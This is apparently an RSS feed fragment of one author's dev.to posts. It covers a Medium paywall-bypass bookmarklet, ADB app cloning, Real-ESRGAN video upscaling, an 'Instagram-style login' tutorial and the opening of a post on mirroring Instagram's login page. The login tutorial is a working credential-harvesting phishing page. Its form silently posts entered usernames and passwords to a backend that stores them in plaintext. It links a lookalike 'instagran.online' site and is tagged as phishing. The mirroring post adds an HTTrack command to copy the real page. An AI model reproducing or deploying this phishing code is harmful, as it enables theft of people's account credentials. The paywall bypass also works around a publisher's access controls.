&lt;p&gt;Step 1 : Paste the medium link in the archive.is and click save.&lt;/p&gt;

&lt;p&gt;Here you go, the member only story is loaded in your browser for free.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05dvd13hrkjdwyddbuc8.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F05dvd13hrkjdwyddbuc8.gif" width="1024" height="1024"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can also create a JavaScript bookmark in your browser for fast access, mean — You can directly force to load the current medium page in archive.is without copy and paste.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;javascript: (function() {
    let url = window.location.href;
    let archiveUrl = "https://archive.is/" + url;
    let readerMode = "about:reader?url=" + url;
    window.open(archiveUrl, "_blank");
    window.open(readerMode, "_blank");
})();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you can read any premium story for free without any restriction. Use this for only educational purpose, start to read enriched blogs and if you really like the creator, support the creator byheart.&lt;/p&gt;

&lt;p&gt;Also leave a comment on how can i make my blogs more interesting like.. memes about the content ? Interactive real-world talks ? Let me know :)&lt;/p&gt;

</description>
      <category>medium</category>
      <category>bots</category>
      <category>google</category>
    </item>
    <item>
      <title>Clone Apps &amp; Games without third party apps using ADB.</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Mon, 24 Mar 2025 16:41:48 +0000</pubDate>
      <link>https://dev.to/kaniska/clone-apps-games-without-third-party-apps-using-adb-56bg</link>
      <guid>https://dev.to/kaniska/clone-apps-games-without-third-party-apps-using-adb-56bg</guid>
      <description>&lt;p&gt;Let’s get straight to the topic. You can actually create a clone of an app without using third-party apps like &lt;strong&gt;Dual Space, Parallel Space, or Space Duo&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg44yz84pwhpjv641f0ry.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg44yz84pwhpjv641f0ry.jpeg" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To achieve this, you need to install &lt;strong&gt;SDK Platform Tools (ADB)&lt;/strong&gt; from the official site &lt;a href="https://developer.android.com/tools/releases/platform-tools" rel="noopener noreferrer"&gt;Download&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Normally, cloning apps and games on Android requires third-party apps. But with &lt;strong&gt;ADB&lt;/strong&gt; , you can do it manually!&lt;/p&gt;

&lt;p&gt;Step 1: Go the installed SDK Platform tool directory, type “cmd” in the address bar and open a cli in that folder.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fye8vidsiqcn632h4jjdz.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fye8vidsiqcn632h4jjdz.gif" width="800" height="450"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Step 1&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Step 2: First check if your device support multiple apps. Type the following in the the following cmd.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;adb shell pm list users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you don’t see any extra users, create a one.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;adb shell pm create-user --profileOf 0 --managed "CloneUser"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 3: Install the app for new user.&lt;/p&gt;

&lt;p&gt;For different apps and games you have different packages name, for example:&lt;/p&gt;

&lt;p&gt;For Pokemon Games (Pokemon TCG Pocket), type the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;adb shell pm list packages | grep pokemon
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now install it for the new user (999 in this case) :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;adb shell pm install-existing --user 999 com.pokemon.pokemontcg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Step 4: Switch to the new user and run the app.&lt;/p&gt;

&lt;p&gt;Switch to user 999.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;adb shell am switch-user 999
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Launch the game :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;adb shell monkey -p com.pokemon.pokemontcg -c android.intent.category.LAUNCHER 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the game should open in the second profile as a cloned interface.&lt;/p&gt;

&lt;p&gt;If you want to return to the main user :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;adb shell am switch-user 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Popular Games Package Names:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pokémon TCG Live com.pokemon.pokemontcg&lt;/li&gt;
&lt;li&gt;Pokémon GO com.nianticlabs.pokemongo&lt;/li&gt;
&lt;li&gt;Call of Duty Mobile com.activision.callofduty.shooter&lt;/li&gt;
&lt;li&gt;PUBG Mobile com.tencent.ig&lt;/li&gt;
&lt;li&gt;Free Fire com.dts.freefireth&lt;/li&gt;
&lt;li&gt;Genshin Impact com.miHoYo.GenshinImpact&lt;/li&gt;
&lt;li&gt;Clash of Clans com.supercell.clashofclans&lt;/li&gt;
&lt;li&gt;Clash Royale com.supercell.clashroyale&lt;/li&gt;
&lt;li&gt;Minecraft com.mojang.minecraftpe&lt;/li&gt;
&lt;li&gt;Subway Surfers com.kiloo.subwaysurf&lt;/li&gt;
&lt;li&gt;Among Us com.innersloth.spacemafia&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Popular Apps Package Names:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;WhatsApp com.whatsapp&lt;/li&gt;
&lt;li&gt;Instagram com.instagram.android&lt;/li&gt;
&lt;li&gt;Facebook com.facebook.katana&lt;/li&gt;
&lt;li&gt;Facebook Lite com.facebook.lite&lt;/li&gt;
&lt;li&gt;Messenger com.facebook.orca&lt;/li&gt;
&lt;li&gt;Telegram org.telegram.messenger&lt;/li&gt;
&lt;li&gt;Snapchat com.snapchat.android&lt;/li&gt;
&lt;li&gt;YouTube com.google.android.youtube&lt;/li&gt;
&lt;li&gt;TikTok com.zhiliaoapp.musically&lt;/li&gt;
&lt;li&gt;Spotify com.spotify.music&lt;/li&gt;
&lt;li&gt;Netflix com.netflix.mediaclient&lt;/li&gt;
&lt;li&gt;Chrome com.android.chrome&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Error Encounter:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If User 999 is blocked on your phone, try using a work profile:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;adb shell pm create-user - profileOf 0 - managed "WorkProfile"
adb shell pm install-existing - user 10 com.pokemon.pokemontcg
adb shell am switch-user 10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This keeps both versions running independently.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx81prvdnttx920dj9oq6.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fx81prvdnttx920dj9oq6.jpeg" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Enjoyed || Helpfull ? Leave a sub and like ❤&lt;/p&gt;

</description>
      <category>google</category>
      <category>hidden</category>
      <category>android</category>
      <category>clonescripts</category>
    </item>
    <item>
      <title>Real -ESGRAN | Enhance your videos.</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Sun, 23 Mar 2025 04:13:04 +0000</pubDate>
      <link>https://dev.to/kaniska/real-esgran-enhance-your-videos-2aic</link>
      <guid>https://dev.to/kaniska/real-esgran-enhance-your-videos-2aic</guid>
      <description>&lt;p&gt;Hey there, in this article we are going to have a exposure on a open-sourced video enhancer tool Real-ESGRAN. This tool is not advanced as Topaz Ai, but more over it gives a satisfying result.&lt;/p&gt;

&lt;p&gt;This is the frame before enhance.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcgqqi9s0nswgt9bpww2g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcgqqi9s0nswgt9bpww2g.png" width="800" height="450"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Before enhance.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I will show the result that i got on Real-ESGRAN. Due to limitations in medium, I will share the result as link.&lt;/p&gt;

&lt;p&gt;For sample view.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcm2zvgk2z1gba63zo2o5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcm2zvgk2z1gba63zo2o5.png" width="800" height="435"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Enhanced Quality : &lt;a href="https://medium.com/p/f1e410b6" rel="noopener noreferrer"&gt;Link Unavailable&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Really I impressed that i got a more smooth images after enhancing. At the same time i got frustrated due to its rendering time. I really rendered a 30 seconds video for a whole night with my RTX 3050 4GB.&lt;br&gt;&lt;br&gt;
The actual problem you can’t render this quality with this 4BG VRAM. It says VRAM is out of memory. So i rendered the video by 200 pixel by pixel. Makes the process slower.&lt;/p&gt;

&lt;p&gt;You laptop will start to burn like hot flames in the dragon dungeon. So I created a python script to create a break time between each frame render and a additional break time between each 10 frames. This helped me to maintain my laptop GPU at gradually at 81°C.&lt;/p&gt;

&lt;p&gt;Coming to the point, How to do?&lt;/p&gt;

&lt;p&gt;Get Real-ESGRAN files at &lt;a href="https://github.com/xinntao/Real-ESRGAN" rel="noopener noreferrer"&gt;download&lt;/a&gt; it as zip.&lt;/p&gt;

&lt;p&gt;Video version of the process will be available soon.&lt;/p&gt;
&lt;h3&gt;
  
  
  Enhancing Video Quality with Real-ESRGAN: A Step-by-Step Guide
&lt;/h3&gt;

&lt;p&gt;High-quality video enhancement has become easier with tools like &lt;strong&gt;Real-ESRGAN&lt;/strong&gt;. This guide explains how to extract frames from a video, enhance them using Real-ESRGAN, and merge them back into a high-resolution video with the original audio.&lt;/p&gt;
&lt;h3&gt;
  
  
  Step 1: Extract Frames from Video
&lt;/h3&gt;

&lt;p&gt;To begin, create a directory for storing frames and extract images from the video file using FFmpeg:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir frames
ffmpeg -i input.mp4 -q:v 1 frames/frame_%04d.png
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command ensures high-quality frame extraction while maintaining the sequence of images.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Enhance Frames Using Real-ESRGAN
&lt;/h3&gt;

&lt;p&gt;Once the frames are extracted, create an output directory and process them using Real-ESRGAN:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mkdir enhanced_frames
python inference_realesrgan.py -n RealESRGAN_x4plus -i frames --outscale 1.2 -o enhanced_frames
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The --outscale 1.2 parameter upscales the frames by &lt;strong&gt;20%&lt;/strong&gt; , adding 200 pixels to the resolution, I used this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python inference_realesrgan.py -n RealESRGAN_x4plus -i frames/ -o upscaled_frames/ --tile 200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 3: Reconstruct Video from Enhanced Frames
&lt;/h3&gt;

&lt;p&gt;After enhancement, convert the processed frames back into a video:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffmpeg -framerate 30 -i enhanced_frames/frame_%04d.png -c:v libx264 -pix_fmt yuv420p enhanced_video.mp4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here, -framerate 30 maintains smooth playback, and libx264 ensures compatibility with most devices.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Extract Audio from Original Video
&lt;/h3&gt;

&lt;p&gt;Since the enhanced video lacks audio, extract the original sound from the input video:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffmpeg -i input.mp4 -q:a 0 -map a audio.aac
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 5: Merge Audio with Enhanced Video
&lt;/h3&gt;

&lt;p&gt;Finally, combine the extracted audio with the upscaled video:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ffmpeg -i enhanced_video.mp4 -i audio.aac -c:v copy -c:a aac -strict experimental final_output.mp4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command merges the video and audio streams without re-encoding the video, ensuring the best quality.&lt;/p&gt;

&lt;h3&gt;
  
  
  To be noted.
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Ensure to create a frame and upscaled_frame folder before processing.&lt;br&gt;&lt;br&gt;
Store all the before enhance frames in the frame folder.&lt;br&gt;&lt;br&gt;
Every commands should be typed on cmd.&lt;/p&gt;

&lt;p&gt;Ensure you download all the requirements.txt.&lt;br&gt;&lt;br&gt;
To download, go inside of the folder Real-ESGRAN type cmd in address bar and type the following in cmd:&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install requirements.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Y&lt;/strong&gt; ou can also use my python script to create a break time between frames.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import os
import time
import glob

# Path to input and output folders
input_folder = "frames/"
output_folder = "upscaled_frames/"

# List all frames
frames = sorted(glob.glob(os.path.join(input_folder, "*.png")))

# Process each frame with a break
for i, frame in enumerate(frames):
    print(f"Processing {i+1}/{len(frames)}: {frame}")

    # Run Real-ESRGAN on one frame at a time
    os.system(f'python inference_realesrgan.py -n RealESRGAN_x4plus -i "{frame}" -o "{output_folder}" --tile 200')

    # Add a longer delay after each frame (adjust as per your requirement)
    time.sleep(10) # Increased to 10 seconds after each frame

    # Optional: Take a longer break every 10 frames
    if (i + 1) % 10 == 0:
        print("Cooling down for 60 seconds...") # Increased cooldown time
        time.sleep(60) # Extended break time to 60 seconds after every 10 frames

print("✅ All frames processed!")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To use type “python batch_processor.py” in cmd.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ERROR ENCOUNTER.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you receive error expect this feel free contact me &lt;strong&gt;&lt;a href="mailto:soozuo@yandex.ru"&gt;soozuo@yandex.ru&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;If you receive module not found error! Ensure that you have downloaded all the modules in the requirements.txt founded to be in the extracted folder.&lt;/li&gt;
&lt;li&gt;If you receive realesgran version not found. you have create that manually.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Go to &lt;strong&gt;\Real-ESRGAN\realesrgan&lt;/strong&gt; and create a python file named &lt;strong&gt;version.py&lt;/strong&gt; contain the following :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;__version__ = '0.3.0'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>onepiece</category>
      <category>codequality</category>
      <category>topaz</category>
    </item>
    <item>
      <title>Building a Custom Instagram-Style Login with Flask and MySQL</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Thu, 06 Mar 2025 15:02:54 +0000</pubDate>
      <link>https://dev.to/kaniska/building-a-custom-instagram-style-login-with-flask-and-mysql-252b</link>
      <guid>https://dev.to/kaniska/building-a-custom-instagram-style-login-with-flask-and-mysql-252b</guid>
      <description>&lt;p&gt;In today’s digital world, user authentication is a fundamental feature in any web application. Whether you’re creating a social media platform, an internal tool, or a simple login system, handling authentication efficiently is crucial. This article walks through building a custom Instagram-style login system using &lt;strong&gt;Flask&lt;/strong&gt; , &lt;strong&gt;MySQL&lt;/strong&gt; , and &lt;strong&gt;basic HTML/CSS/JS&lt;/strong&gt; for the frontend.&lt;/p&gt;

&lt;p&gt;🔗 Get files at &lt;a href="https://github.com/guider23/instagran.online" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;🔗 View sample login ui &lt;a href="https://guider23.github.io/instagran.online/" rel="noopener noreferrer"&gt;Open&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Flask and MySQL?
&lt;/h3&gt;

&lt;p&gt;Flask is a lightweight yet powerful Python framework, ideal for handling authentication systems without unnecessary overhead. MySQL, a robust relational database, efficiently stores user credentials, making it a great choice for structured authentication workflows.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setting Up the Backend (Flask + MySQL)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1️⃣ Install Required Packages
&lt;/h4&gt;

&lt;p&gt;Before diving into the code, ensure you have the necessary dependencies installed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install flask mysql-connector-python flask-cors
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2️⃣ Creating the Database and Users Table
&lt;/h4&gt;

&lt;p&gt;We’ll start by setting up a MySQL database for storing user credentials.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CREATE DATABASE user_auth;
USE user_auth;
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(255) NOT NULL UNIQUE,
    password VARCHAR(255) NOT NULL
);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3️⃣ Writing the Flask Backend
&lt;/h4&gt;

&lt;p&gt;Now, let’s create a Flask application that handles user registration and login.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from flask import Flask, request, jsonify
from flask_cors import CORS
import mysql.connector
app = Flask( __name__ )
CORS(app)
# MySQL Configuration
db_config = {
    "host": "your-mysql-host",
    "user": "your-mysql-username",
    "password": "your-mysql-password",
    "database": "user_auth"
}
# Connect to MySQL
def connect_db():
    return mysql.connector.connect(**db_config)
# User Registration
@app.route('/register', methods=['POST'])
def register():
    try:
        data = request.json
        username = data.get('username')
        password = data.get('password') # Stored directly without hashing
        if not username or not password:
            return jsonify({"error": "Missing username or password"}), 400
        conn = connect_db()
        cursor = conn.cursor()
        cursor.execute("INSERT INTO users (username, password) VALUES (%s, %s)", (username, password))
        conn.commit()
        cursor.close()
        conn.close()
        return '', 204 # No response
    except Exception as e:
        return jsonify({"error": str(e)}), 500
if __name__ == ' __main__':
    app.run(host='0.0.0.0', port=5000, debug=True)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Creating the Frontend (HTML + JavaScript)
&lt;/h3&gt;

&lt;p&gt;The frontend consists of a simple login page where users enter their credentials.&lt;/p&gt;

&lt;h4&gt;
  
  
  1️⃣ index.html (Frontend UI)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang="en"&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset="UTF-8"&amp;gt;
    &amp;lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&amp;gt;
    &amp;lt;title&amp;gt;Login&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;h2&amp;gt;Login&amp;lt;/h2&amp;gt;
    &amp;lt;form id="loginForm"&amp;gt;
        &amp;lt;input type="text" id="username" name="username" placeholder="Username" required&amp;gt;
        &amp;lt;input type="password" id="password" name="password" placeholder="Password" required&amp;gt;
        &amp;lt;button type="submit"&amp;gt;Login&amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;

    &amp;lt;script&amp;gt;
        document.getElementById("loginForm").addEventListener("submit", async function(event) {
            event.preventDefault();

            const username = document.getElementById("username").value;
            const password = document.getElementById("password").value;await fetch("http://127.0.0.1:5000/register", {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({ username, password })
            });
        });
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Running the Project
&lt;/h3&gt;

&lt;p&gt;1️⃣ &lt;strong&gt;Start MySQL and create the database&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 2️⃣ &lt;strong&gt;Run the Flask backend&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python app.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3️⃣ &lt;strong&gt;Open&lt;/strong&gt;  &lt;strong&gt;index.html in a browser and test the login form&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Final Thoughts
&lt;/h3&gt;

&lt;p&gt;This setup provides a foundation for handling user authentication. If security is a concern, consider &lt;strong&gt;hashing passwords&lt;/strong&gt; before storing them. This project can be extended by adding features like user sessions, password encryption, and email verification.&lt;/p&gt;

&lt;p&gt;For more insights on working with Instagram-style UI and automation, check out this detailed experience shared on Medium:&lt;/p&gt;

&lt;p&gt;🔗 &lt;a href="https://dev.to/kaniska/cloning-instagram-login-ui-my-struggles-with-httrack-selenium-and-the-final-success-with-wget-11h7-temp-slug-7685580"&gt;Cloning Instagram UI: My Struggles with HTTrack, Selenium, and the Final Success with Wget&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flzztwp7ei6bzc8wwyxj6.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flzztwp7ei6bzc8wwyxj6.jpg" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cloningwebsite</category>
      <category>phishing</category>
      <category>phishingattacks</category>
    </item>
    <item>
      <title>Cloning Instagram Login UI: My Struggles with HTTrack, Selenium, and the Final Success with Wget</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Thu, 27 Feb 2025 16:16:26 +0000</pubDate>
      <link>https://dev.to/kaniska/cloning-instagram-login-ui-my-struggles-with-httrack-selenium-and-the-final-success-with-wget-1f66</link>
      <guid>https://dev.to/kaniska/cloning-instagram-login-ui-my-struggles-with-httrack-selenium-and-the-final-success-with-wget-1f66</guid>
      <description>&lt;p&gt;Cloning a website may seem straightforward, but when I attempted to clone Instagram’s login UI, I faced multiple roadblocks. Instagram, like many modern websites, relies heavily on &lt;strong&gt;JavaScript rendering and API calls&lt;/strong&gt; , making traditional scraping tools ineffective. I tried &lt;strong&gt;HTTrack, Selenium, and finally succeeded with Wget&lt;/strong&gt;. This is my journey of persistence and problem-solving.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔍 First Attempt: HTTrack (Failed)
&lt;/h3&gt;

&lt;p&gt;HTTrack is a well-known tool for mirroring websites. It can recursively download &lt;strong&gt;HTML, images, CSS, and JavaScript&lt;/strong&gt; , making it seem like the perfect choice for cloning Instagram’s login page. I used the following command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;httrack "https://www.instagram.com/accounts/login/" -O cloned_instagram +*.png +*.jpg +*.css +*.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🚨 &lt;strong&gt;Issues Faced:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Instagram’s &lt;strong&gt;anti-scraping protections blocked the requests&lt;/strong&gt; , resulting in missing files.&lt;/li&gt;
&lt;li&gt;The login page loads &lt;strong&gt;dynamically using JavaScript&lt;/strong&gt; , but HTTrack only captures &lt;strong&gt;static HTML&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Broken styles and missing images&lt;/strong&gt; made the cloned page look completely different from the original.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;HTTrack is great for &lt;strong&gt;static websites&lt;/strong&gt; , but it failed to capture Instagram’s &lt;strong&gt;JavaScript-heavy UI&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  🛠️ Second Attempt: Selenium (Partially Worked 😐)
&lt;/h3&gt;

&lt;p&gt;Since &lt;strong&gt;HTTrack couldn’t handle dynamic content&lt;/strong&gt; , I turned to &lt;strong&gt;Selenium&lt;/strong&gt; , which automates browsers and can render JavaScript. My idea was to:&lt;/p&gt;

&lt;p&gt;✅ Open Instagram’s login page using Selenium.&lt;br&gt;&lt;br&gt;
✅ Extract the &lt;strong&gt;fully rendered&lt;/strong&gt; HTML source.&lt;br&gt;&lt;br&gt;
✅ Save it as an HTML file.&lt;/p&gt;

&lt;p&gt;I wrote this &lt;strong&gt;Python Selenium script&lt;/strong&gt; :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
